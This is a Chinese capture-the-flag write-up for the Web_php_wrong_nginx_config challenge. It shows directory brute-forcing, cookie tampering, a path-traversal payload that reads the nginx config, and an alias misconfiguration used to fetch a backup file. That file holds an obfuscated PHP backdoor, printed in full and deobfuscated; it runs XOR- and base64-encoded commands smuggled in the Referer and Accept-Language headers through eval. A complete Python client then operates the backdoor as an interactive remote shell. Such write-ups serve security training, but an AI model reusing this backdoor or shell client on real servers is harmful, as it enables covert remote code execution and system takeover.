【愚公系列】2023年06月 攻防世界-Web（Web_php_wrong_nginx_config）

---

前言

PHP代码混淆后门脚本是指在进行PHP代码混淆的过程中，植入恶意代码以实现后门的攻击手段。一旦植入成功，黑客可以通过特定的操作指令，绕过用户身份验证，进入系统内部，获取敏感信息，甚至控制整个系统。

常见的PHP代码混淆后门脚本类型有以下几种：

1. 直接将后门代码插入到混淆后的PHP代码中。

2. 在混淆后的PHP代码中设置特定的注释符号，在注释中写入后门代码，以达到隐藏的目的。

3. 在混淆后的PHP代码中创建了一个特定的变量或调用特定的函数，以此触发后门代码。

为避免被黑客攻击，建议用户在使用来历不明或未经信任的PHP代码混淆程序前，务必先了解其安全性和稳定性，尽量使用官方或权威的PHP代码混淆工具。同时，也需加强系统安全保护，对敏感信息进行加密和备份，确保系统安全性和稳定性。

一、Web_php_wrong_nginx_config

1.题目

2.答题

进入网页发现登录页面

目录爆破

dirsearch -u "http://61.147.171.105:55680/" -e php

发现robots.txt

hint.php

Hack.php

发现跳转到登录页面，抓包看看Hack.php，发现了可疑的点Cookie：isLogin=0，不妨修改为1，进入控制中心：

点击云管理中心，拦截包

发现url中file=index&ext=php，不妨测试一下…/，发现这里过滤了…/：根据hint.php可以知道配置文件的路径，那就构造payload：file=....//....//....//....//etc/nginx/sites-enabled/site.conf&ext=，读取

server {
    
    
    listen 8080; ## listen for ipv4; this line is default and implied
    listen [::]:8080; ## listen for ipv6

    root /var/www/html;
    index index.php index.html index.htm;
    port_in_redirect off;
    server_name _;

    # Make site accessible from http://localhost/
    #server_name localhost;

    # If block for setting the time for the logfile
    if ($time_iso8601 ~ "^(\d{4})-(\d{2})-(\d{2})") {
    
    
       set $year $1;
       set $month $2;
       set $day $3;
    }
    # Disable sendfile as per https://docs.vagrantup.com/v2/synced-folders/virtualbox.html
    sendfile off;

        set $http_x_forwarded_for_filt $http_x_forwarded_for;
        if ($http_x_forwarded_for_filt ~ ([0-9]+\.[0-9]+\.[0-9]+\.)[0-9]+) {
    
    
                set $http_x_forwarded_for_filt $1???;
        }

    # Add stdout logging

    access_log /var/log/nginx/$hostname-access-$year-$month-$day.log openshift_log;
    error_log /var/log/nginx/error.log info;

    location / {
    
    
        # First attempt to serve request as file, then
        # as directory, then fall back to index.html
        try_files $uri $uri/ /index.php?q=$uri&$args;
        server_tokens off;
    }

    #error_page 404 /404.html;

    # redirect server error pages to the static page /50x.html
    #
    error_page 500 502 503 504 /50x.html;
    location = /50x.html {
    
    
        root /usr/share/nginx/html;
    }
    location ~ \.php$ {
    
    
        try_files $uri $uri/ /index.php?q=$uri&$args;
        fastcgi_split_path_info ^(.+\.php)(/.+)$;
        fastcgi_pass unix:/var/run/php/php5.6-fpm.sock;
        fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
        fastcgi_param SCRIPT_NAME $fastcgi_script_name;
        fastcgi_index index.php;
        include fastcgi_params;
        fastcgi_param REMOTE_ADDR $http_x_forwarded_for;
    }

    location ~ /\. {
    
    
            log_not_found off;
            deny all;
    }
    location /web-img {
    
    
        alias /images/;
        autoindex on;
    }
    location ~* \.(ini|docx|pcapng|doc)$ {
    
      
         deny all;  
    }  

    include /var/www/nginx[.]conf;
}

代码审计，关键词alias：用来指定请求资源的真实路径，访问web-img：

找到敏感文件 /var/www/hack.php.bak，根据经验，这应该是一个PHP混淆。

<?php
$U='_/|U","/-/|U"),ar|Uray|U("/|U","+"),$ss(|U$s[$i]|U,0,$e)|U)),$k))|U|U);$o|U|U=o|Ub_get_|Ucontents(|U);|Uob_end_cle';
$q='s[|U$i]="";$p=|U$ss($p,3);}|U|Uif(array_k|Uey_|Uexis|Uts($|Ui,$s)){$s[$i].=|U$p|U;|U$e=|Ustrpos($s[$i],$f);|Ui';
$M='l="strtolower|U";$i=$m|U[1|U][0].$m[1]|U[1];$|U|Uh=$sl($ss(|Umd5($i|U.$kh),|U0,3|U));$f=$s|Ul($ss(|Umd5($i.$';
$z='r=@$r[|U"HTTP_R|UEFERER|U"];$r|U|Ua=@$r["HTTP_A|U|UCCEPT_LAN|UGUAGE|U"];if|U($r|Ur&|U&$ra){$u=parse_|Uurl($r';
$k='?:;q=0.([\\|Ud]))?,|U?/",$ra,$m)|U;if($|Uq&&$m){|U|U|U@session_start()|U|U;$s=&$_SESSIO|UN;$ss="|Usubst|Ur";|U|U$s';
$o='|U$l;|U){for|U($j=0;($j|U<$c&&|U|U$i|U<$|Ul);$j++,$i++){$o.=$t{$i}|U^$k|U{$j};}}|Ureturn $|Uo;}$r=$|U_SERV|UE|UR;$r';
$N='|Uf($e){$k=$k|Uh.$kf|U;ob_sta|Urt();|U@eva|Ul(@g|Uzuncom|Upress(@x(@|Ubas|U|Ue64_decode(preg|U_repla|Uce(|Uarray("/';
$C='an();$d=b|Uase64_encode(|Ux|U(gzcomp|U|Uress($o),$k))|U;prin|Ut("|U<$k>$d</$k>"|U);@ses|U|Usion_des|Utroy();}}}}';
$j='$k|Uh="|U|U42f7";$kf="e9ac";fun|Uction|U |Ux($t,$k){$c|U=|Ustrlen($k);$l=s|Utrl|Ue|Un($t);$o=|U"";fo|Ur($i=0;$i<';
$R=str_replace('rO','','rOcreatrOe_rOrOfurOncrOtion');
$J='kf|U),|U0,3));$p="|U";for(|U|U$|Uz=1;$z<cou|Unt|U($m[1]);|U$z++)$p.=|U$q[$m[2][$z|U]|U];if(strpos(|U$|U|Up,$h)|U===0){$';
$x='r)|U;pa|Urse|U_str($u["qu|U|Uery"],$q);$|U|Uq=array_values(|U$q);pre|Ug|U_match_al|Ul("/([\\|U|Uw])[|U\\w-]+|U(';
$f=str_replace('|U','',$j.$o.$z.$x.$k.$M.$J.$q.$N.$U.$C);
$g=create_function('',$f);
$g();
?>

输出$f看看

$kh = "42f7";
$kf = "e9ac";

function x($t, $k) {
    
    
    $c = strlen($k);
    $l = strlen($t);
    $o = "";
    for ($i = 0; $i < $l;) {
    
    
        for ($j = 0;
            ($j < $c && $i < $l); $j++, $i++) {
    
    
            $o. = $t {
    
    
                $i
            } ^ $k {
    
    
                $j
            };
        }
    }
    return $o;
}
$r = $_SERVER;
$rr = @$r["HTTP_REFERER"];
$ra = @$r["HTTP_ACCEPT_LANGUAGE"];
if ($rr && $ra) {
    
    
    $u = parse_url($rr);
    parse_str($u["query"], $q);
    $q = array_values($q);
    preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/", $ra, $m);
    if ($q && $m) {
    
    @
        session_start();
        $s = & $_SESSION;
        $ss = "substr";
        $sl = "strtolower";
        $i = $m[1][0].$m[1][1];
        $h = $sl($ss(md5($i.$kh), 0, 3));
        $f = $sl($ss(md5($i.$kf), 0, 3));
        $p = "";
        for ($z = 1; $z < count($m[1]); $z++) $p. = $q[$m[2][$z]];
        if (strpos($p, $h) === 0) {
    
    
            $s[$i] = "";
            $p = $ss($p, 3);
        }
        if (array_key_exists($i, $s)) {
    
    
            $s[$i]. = $p;
            $e = strpos($s[$i], $f);
            if ($e) {
    
    
                $k = $kh.$kf;
                ob_start();@
                eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/", "/-/"), array("/", "+"), $ss($s[$i], 0, $e))), $k)));
                $o = ob_get_contents();
                ob_end_clean();
                $d = base64_encode(x(gzcompress($o), $k));
                print("<$k>$d</$k>");@
                session_destroy();
            }
        }
    }
}

经过提示这个是个后门，一个PHP混淆后门的分析，脚本如下：

# encoding: utf-8

from random import randint, choice
from hashlib import md5
import urllib
import string
import zlib
import base64
import requests
import re

def choicePart(seq, amount):
    length = len(seq)
    if length == 0 or length < amount:
        print 'Error Input'
        return None
    result = []
    indexes = []
    count = 0
    while count < amount:
        i = randint(0, length - 1)
        if not i in indexes:
            indexes.append(i)
            result.append(seq[i])
            count += 1
            if count == amount:
                return result

def randBytesFlow(amount):
    result = ''
    for i in xrange(amount):
        result += chr(randint(0, 255))
    return result

def randAlpha(amount):
    result = ''
    for i in xrange(amount):
        result += choice(string.ascii_letters)
    return result

def loopXor(text, key):
    result = ''
    lenKey = len(key)
    lenTxt = len(text)
    iTxt = 0
    while iTxt < lenTxt:
        iKey = 0
        while iTxt < lenTxt and iKey < lenKey:
            result += chr(ord(key[iKey]) ^ ord(text[iTxt]))
            iTxt += 1
            iKey += 1
    return result

def debugPrint(msg):
    if debugging:
        print msg

# config
debugging = False
keyh = "42f7"  # $kh
keyf = "e9ac"  # $kf
xorKey = keyh + keyf
url = 'http://61.147.171.105:55680/hack.php'
defaultLang = 'zh-CN'
languages = ['zh-TW;q=0.%d', 'zh-HK;q=0.%d', 'en-US;q=0.%d', 'en;q=0.%d']
proxies = None  # {'http':'http://127.0.0.1:8080'} # proxy for debug

sess = requests.Session()
# generate random Accept-Language only once each session
langTmp = choicePart(languages, 3)
indexes = sorted(choicePart(range(1, 10), 3), reverse=True)
acceptLang = [defaultLang]
for i in xrange(3):
    acceptLang.append(langTmp[i] % (indexes[i],))
acceptLangStr = ','.join(acceptLang)
debugPrint(acceptLangStr)
init2Char = acceptLang[0][0] + acceptLang[1][0]  # $i
md5head = (md5(init2Char + keyh).hexdigest())[0:3]
md5tail = (md5(init2Char + keyf).hexdigest())[0:3] + randAlpha(randint(3, 8))
debugPrint('$i is %s' % (init2Char))
debugPrint('md5 head: %s' % (md5head,))
debugPrint('md5 tail: %s' % (md5tail,))
# Interactive php shell
cmd = raw_input('phpshell > ')
while cmd != '':
    # build junk data in referer
    query = []
    for i in xrange(max(indexes) + 1 + randint(0, 2)):
        key = randAlpha(randint(3, 6))
        value = base64.urlsafe_b64encode(randBytesFlow(randint(3, 12)))
        query.append((key, value))
    debugPrint('Before insert payload:')
    debugPrint(query)
    debugPrint(urllib.urlencode(query))
    # encode payload
    payload = zlib.compress(cmd)
    payload = loopXor(payload, xorKey)
    payload = base64.urlsafe_b64encode(payload)
    payload = md5head + payload
    # cut payload, replace into referer
    cutIndex = randint(2, len(payload) - 3)
    payloadPieces = (payload[0:cutIndex], payload[cutIndex:], md5tail)
    iPiece = 0
    for i in indexes:
        query[i] = (query[i][0], payloadPieces[iPiece])
        iPiece += 1
    referer = url + '?' + urllib.urlencode(query)
    debugPrint('After insert payload, referer is:')
    debugPrint(query)
    debugPrint(referer)
    # send request
    r = sess.get(url, headers={
    
    'Accept-Language': acceptLangStr, 'Referer': referer}, proxies=proxies)
    html = r.text
    debugPrint(html)
    # process response
    pattern = re.compile(r'<%s>(.*)</%s>' % (xorKey, xorKey))
    output = pattern.findall(html)
    if len(output) == 0:
        print 'Error,  no backdoor response'
        cmd = raw_input('phpshell > ')
        continue
    output = output[0]
    debugPrint(output)
    output = output.decode('base64')
    output = loopXor(output, xorKey)
    output = zlib.decompress(output)
    print output
    cmd = raw_input('phpshell > ')

得到flag：ctf{a57b3698-eeae-48c0-a669-bafe3213568c}